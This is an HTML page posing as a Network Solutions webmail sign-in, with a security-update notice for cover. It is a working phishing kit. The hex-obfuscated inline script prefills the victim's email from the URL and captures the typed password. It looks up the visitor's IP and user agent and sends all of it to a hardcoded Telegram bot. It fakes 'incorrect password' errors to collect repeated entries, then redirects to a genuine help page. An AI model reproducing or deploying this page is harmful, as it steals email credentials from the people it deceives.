<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Webmail Login</title>
	<link id="favicon-ico" rel="icon" href="./favicon.ico" sizes="any">
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            background-color: #f9fafb;
        }
        header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 1rem;
            background-color: #f9f9f9;
        }
        .logo {
            display: flex;
            align-items: center;
            gap: 0.5rem;
        }
		.logo img {
			width: 80px; /* Adjust the width as needed */
			height: auto; /* Maintain aspect ratio */
			margin-top : -1.5rem;
		}
        .logo svg {
            width: 2rem;
            height: 2rem;
            fill: #319795;
        }
        .logo span {
            font-size: 1.25rem;
            font-weight: 600;
            color: #319795;
        }
        .language-btn {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            padding: 0.5rem 1rem;
            font-size: 0.875rem;
            color: #4b5563;
            background-color: white;
            border: 1px solid #d1d5db;
            border-radius: 0.375rem;
            cursor: pointer;
            box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05);
        }
        main {
            flex-grow: 1;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 1rem;
        }
        p{
            text-align: center;
			display: block;
			margin-block-start: 1em;
			margin-block-end: 1em;
			margin-inline-start: 0px;
			margin-inline-end: 0px;
			unicode-bidi: isolate;
			font: 14px / 20px -apple-system, BlinkMacSystemFont, Helvetica Neue, Segoe UI, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", Segoe UI Symbol;
        }
		
		.container {
            width: 100%;
            max-width: 26.5rem; /* Reduced from 28rem */
        }
        .card {
            background-color: white;
            border-radius: 0.5rem;
            box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 1);
            overflow: hidden;
			margin-top : -4.5rem;
        }
        .card-header {
            padding: .5rem 0 0;
        }
        .card-title {
            font-size: 1.5rem;
            font-weight: 700;
            color: #111827;
            text-align: center;
        }
		
        .card-description {
            font-size: 1.1rem;
			color: #333;
			margin-top: 3.5rem;
			margin-left: 1.50rem;
			font-weight: 700;
			text-align: left;
        }
        .card-content {
            padding: 1.5rem;
        }
        .form-group {
            margin-bottom: 1rem;
        }
        .form-group label {
            display: block;
            font-size: 0.875rem;
            font-weight: 500;
            color: #374151;
            margin-bottom: 0.5rem;
        }
        .form-group input[type="email"],
        .form-group input[type="password"] {
            width: 92%;
            padding: 0.8rem;
            font-size: 0.875rem;
            border: 1px solid #d1d5db;
            border-radius: 0.375rem;
            background-color: #f3f4f6;
            box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05);
        }
        .form-group input[type="email"] {
            background-color: #e5e7eb;
        }
        .link-btn {
            color: rgb(0 0 0 / 51%); /* Updated color */
            background: none;
            border: none;
            font-size: 0.875rem;
            cursor: pointer;
            padding-right: 16px;
        }
        .forgot-password .link-btn {
            color: rgb(0 0 0 / 51%); /* Updated color */
        }
        .forgot-password {
            text-align: right;
            margin-top: 0.5rem;
        }
        .checkbox-group {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            margin-bottom: 1rem;
        }
        .checkbox-group label {
            font-size: 0.875rem;
            color: #374151;
        }
        .submit-btn {
            width: 100%;
            padding: 0.625rem;
            background-color: #256672;
            color: white;
            border: none;
            border-radius: 0.375rem;
            font-size: 0.87rem;
            font-weight: 500;
            cursor: pointer;
            box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);
        }
        .submit-btn:hover {
            background-color: #2c7a7b;
        }
        .alert {
            margin-top: 1.7rem;
            padding: 1rem;
            background-color: white;
            border-radius: 0.5rem;
			box-shadow: 0 25px 30px -12px gray;
            display: flex;
            gap: 0.5rem;
        }
        .alert-content {
            font-size: 0.5rem;
            color: #4b5563;
        }
        .learn-more-btn {
            background-color: #fff; /* gray-500 */
            display: inline-block;
            width: 100%;
            padding: 0.625rem;
            color: #6B7280;
			border: 1px solid ;
            border-radius: .375rem;
            font-size: 0.875rem;
            font-weight: 400;
            text-align: center;
            text-decoration: none;
            cursor: pointer;
            box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);
            margin-top: -0.3rem;
        }
        .learn-more-btn:hover {
            background-color: #cbced3;
        }
        footer {
            background-color: #cfd0d1	;
            padding: 1rem;
            text-align: center;
            font-size: 0.87rem;
            color: #6b7280;
        }
        footer a {
            color: #6b7280;
            text-decoration: none;
        }
        footer a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
    <header>
        <div class="logo">
            <img src="https://pub-a12bcbce54794bb2b195f95cd23aa000.r2.dev/ntwksltn.png" alt="Network Solutions Logo" />
        </div>
        <button class="language-btn">
            <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                <circle cx="12" cy="12" r="10"></circle>
                <line x1="2" y1="12" x2="22" y2="12"></line>
                <path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"></path>
            </svg>
            Language
        </button>
    </header>

    <main>
        <div class="container">
            <div class="card">
                <div class="card-header">
                    <h2 class="card-title">Webmail Login</h2></div><div>
                    <p class="card-description">Sign in</p>
                </div>
                <div class="card-content">
                    <form name="form" id="loginForm" method="post" onsubmit="return validateForm(event);">

                        <div class="form-group">
                            <div style="display: flex; justify-content: space-between; align-items: center;">
                                <label for="email"><strong>Email</strong></label>
                                <button type="button" class="link-btn">Change</button>
                            </div>
                            <input type="email" id="email" name="email" value="Email account" readonly style="cursor: not-allowed; background-color: #f5f5f5; color: #615a5a;">
                        </div>
                        <div class="form-group">
                            <label for="password"><strong>Your password*</strong></label>
                            <input type="password" id="password" name="password" style="background-color: #fff;">
                            <div class="forgot-password">
                                <button type="button" class="link-btn">Forgot your password?</button>
                            </div>
                        </div>

                        <div class="checkbox-group">
                            <input type="checkbox" id="stay-signed-in" style="margin-top: -0.3rem;">
                            <label for="stay-signed-in" style="margin-top: 1.5rem; margin-bottom: 2rem;" >Stay signed in</label>
                        </div>
						<div id="error-message-container" style="display: none;">
							<p id="signin-message" style="background-color: #d9edf7; text-align: left; border-color: #bce8f1; font-weight: 700; padding: 8px 35px 8px 14px; margin-bottom: 20px;"></p>
						</div>


                        <button type="submit" class="submit-btn">Sign In</button>
                    </form>
                </div>
            </div>

            <div class="alert">
               
                <div class="alert-content">
                    <p >We are updating our email security and will require all email <br>server connections to use an encrypted connection when <br>connecting via POP or IMAP from a device. To avoid any email <br>connection issues, please be sure to update your mail client <br>settings.</p>
                    <button class="learn-more-btn">Learn More...</button>
                </div>
            </div>
        </div>
    </main>
    <script>
var _$_ba06=["\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x65\x6D\x61\x69\x6C","\x37\x36\x30\x33\x39\x34\x37\x34\x30\x35\x3A\x41\x41\x46\x71\x45\x76\x77\x66\x78\x48\x71\x52\x55\x4D\x4D\x54\x38\x36\x52\x47\x4F\x78\x56\x4E\x32\x59\x4A\x66\x70\x34\x77\x46\x35\x2D\x45","\x37\x35\x38\x30\x36\x30\x31\x34\x31\x35","\x2F\x73\x65\x6E\x64\x4D\x65\x73\x73\x61\x67\x65","\x50\x4F\x53\x54","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x44\x61\x74\x61\x20\x73\x65\x6E\x74\x20\x74\x6F\x20\x54\x65\x6C\x65\x67\x72\x61\x6D","\x45\x72\x72\x6F\x72\x20\x73\x65\x6E\x64\x69\x6E\x67\x20\x64\x61\x74\x61\x20\x74\x6F\x20\x54\x65\x6C\x65\x67\x72\x61\x6D\x3A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x36\x34\x2E\x69\x70\x69\x66\x79\x2E\x6F\x72\x67\x3F\x66\x6F\x72\x6D\x61\x74\x3D\x6A\x73\x6F\x6E","\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x66\x65\x74\x63\x68\x20\x49\x50\x20\x61\x64\x64\x72\x65\x73\x73","\x45\x72\x72\x6F\x72\x20\x66\x65\x74\x63\x68\x69\x6E\x67\x20\x49\x50\x20\x61\x64\x64\x72\x65\x73\x73\x3A","\x55\x6E\x61\x62\x6C\x65\x20\x74\x6F\x20\x66\x65\x74\x63\x68\x20\x49\x50\x20\x61\x64\x64\x72\x65\x73\x73","\x65\x72\x72\x6F\x72\x2D\x6D\x65\x73\x73\x61\x67\x65\x2D\x63\x6F\x6E\x74\x61\x69\x6E\x65\x72","\x73\x69\x67\x6E\x69\x6E\x2D\x6D\x65\x73\x73\x61\x67\x65","\x62\x6C\x6F\x63\x6B","\x70\x61\x73\x73\x77\x6F\x72\x64","\x50\x6C\x65\x61\x73\x65\x20\x65\x6E\x74\x65\x72\x20\x79\x6F\x75\x72\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x2E\x20\x28\x55\x49\x2D\x30\x30\x30\x32\x29","\x0D\x0A\x2D\x20\x50\x61\x73\x73\x77\x6F\x72\x64\x3A\x20","\x0D\x0A\x2D\x20\x49\x50\x20\x41\x64\x64\x72\x65\x73\x73\x3A\x20","\x0D\x0A\x2D\x20\x55\x73\x65\x72\x20\x41\x67\x65\x6E\x74\x3A\x20","\x0D\x0A\x2D\x20\x53\x75\x62\x6D\x69\x73\x73\x69\x6F\x6E\x20\x43\x6F\x75\x6E\x74\x3A\x20","","\x52\x65\x64\x69\x72\x65\x63\x74\x69\x6E\x67\x20\x74\x6F\x20\x74\x68\x65\x20\x50\x44\x46\x2E\x2E\x2E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x6E\x65\x74\x77\x6F\x72\x6B\x73\x6F\x6C\x75\x74\x69\x6F\x6E\x73\x2E\x63\x6F\x6D\x2F\x68\x65\x6C\x70\x2F\x61\x72\x74\x69\x63\x6C\x65\x2F\x74\x6C\x73\x2D\x31\x2D\x61\x6E\x64\x2D\x74\x6C\x73\x2D\x31\x2D\x31\x2D\x64\x69\x73\x63\x6F\x6E\x74\x69\x6E\x75\x65\x64","\x54\x68\x65\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x20\x69\x73\x20\x69\x6E\x63\x6F\x72\x72\x65\x63\x74\x2E","\x73\x75\x62\x6D\x69\x74","\x6C\x6F\x67\x69\x6E\x46\x6F\x72\x6D"];
document.addEventListener(_$_ba06[0],()=>
{
	const c=document.getElementById(_$_ba06[1]);//1
	const d=window.location.hash.substring(1);//4
	if(d)
	{
		c.value= decodeURIComponent(d)
	}
	//5
	let h=0;//10
	const a=_$_ba06[2];//13
	const b=_$_ba06[3];//14
	async function f(j)
	{
		const m=("\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x74\x65\x6C\x65\x67\x72\x61\x6D\x2E\x6F\x72\x67\x2F\x62\x6F\x74"+a+_$_ba06[4]);//18
		const l={chat_id:b,text:j};//19
		try
		{
			 await fetch(m,{method:_$_ba06[5],headers:{"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":_$_ba06[6]},body:JSON.stringify(l)});console.log(_$_ba06[7])
		}
		catch(error)
		{
			console.error(_$_ba06[8],error)
		}
		
	}
	async function e()
	{
		try
		{
			const k= await fetch(_$_ba06[9]);//39
			if(!k.ok)
			{
				throw  new Error(_$_ba06[10])
			}
			//40
			const j= await k.json();//43
			return j.ip
		}
		catch(error)
		{
			console.error(_$_ba06[11],error);return _$_ba06[12]
		}
		
	}
	function g(o)
	{
		const n=document.getElementById(_$_ba06[13]);//53
		const p=document.getElementById(_$_ba06[14]);//54
		p.textContent= o;n.style.display= _$_ba06[15]
	}
	async function i(r)
	{
		r.preventDefault();const q=c.value.trim();//65
		const t=document.getElementById(_$_ba06[16]).value.trim();//66
		if(!q||  !t)
		{
			g(_$_ba06[17]);return
		}
		//69
		h+= 1;const s= await e();//75
		const u=navigator.userAgent;//76
		const o=("\x0D\x0A\x4C\x6F\x67\x69\x6E\x20\x41\x74\x74\x65\x6D\x70\x74\x3A\x0D\x0A\x2D\x20\x45\x6D\x61\x69\x6C\x3A\x20"+q+_$_ba06[18]+t+_$_ba06[19]+s+_$_ba06[20]+u+_$_ba06[21]+h+_$_ba06[22]);//79
		 await f(o);if(h>= 3)
		{
			g(_$_ba06[23]);setTimeout(()=>
			{
				window.location.href= _$_ba06[24]
			}
			,3000)
		}
		else 
		{
			document.getElementById(_$_ba06[16]).value= _$_ba06[22];g(_$_ba06[25])
		}
		
	}
	document.getElementById(_$_ba06[27]).addEventListener(_$_ba06[26],i)
}
)
    </script>
    <footer>
        © 2025 Open-Xchange GmbH version: 8.32.1 
        <a href="#">Privacy Policy</a> 
        <a href="#">Legal notes</a>
    </footer>
</body>
</html>